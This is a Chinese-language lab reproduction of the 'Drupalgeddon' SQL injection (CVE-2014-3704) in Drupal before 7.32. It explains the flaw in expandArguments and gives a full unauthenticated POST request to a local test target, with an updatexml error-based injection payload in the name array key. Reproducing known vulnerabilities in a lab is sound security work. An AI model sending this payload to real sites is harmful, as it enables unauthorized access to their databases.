Drupal < 7.32 "Drupalgeddon" SQL 注入漏洞(CVE-2014-3704)
概述
Drupal 是一个用 PHP 语言编写的开源内容管理框架(CMF),它既可以看作是一个内容管理系统(CMS),又可以看作是一个开发框架,并在 GNU 通用公共许可证下分发。Drupal 具有高度的灵活性和可扩展性,能够满足从简单博客到复杂企业网站等各种需求。
在 7.32 之前的 Drupal core 7.x 的版本中,数据库抽象 API 中的 expandArguments
函数无法正确构造预处理语句,这使得远程攻击者能够通过包含精心编制的键的数组进行 SQL 注入攻击。
漏洞复现
启动靶场以后,访问 http://192.168.43.50:8080/会跳转到 Drupal 的安装向导,相关配置使用默认的配置进行安装即可,安装中数据库的配置如下:
- 数据库地址:
mysql
- 数据库名:
drupal
- 数据库账号:
root
- 数据库密码:
root
必填的其他配置自行配置即可。
随后即可正常访问首页。
该漏洞无需登录,发送以下请求来执行恶意 SQL 语句即可:
POST /?q=node&destination=node HTTP/1.1
Host: 192.168.43.50:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
此时可以成功执行 SQL 注入。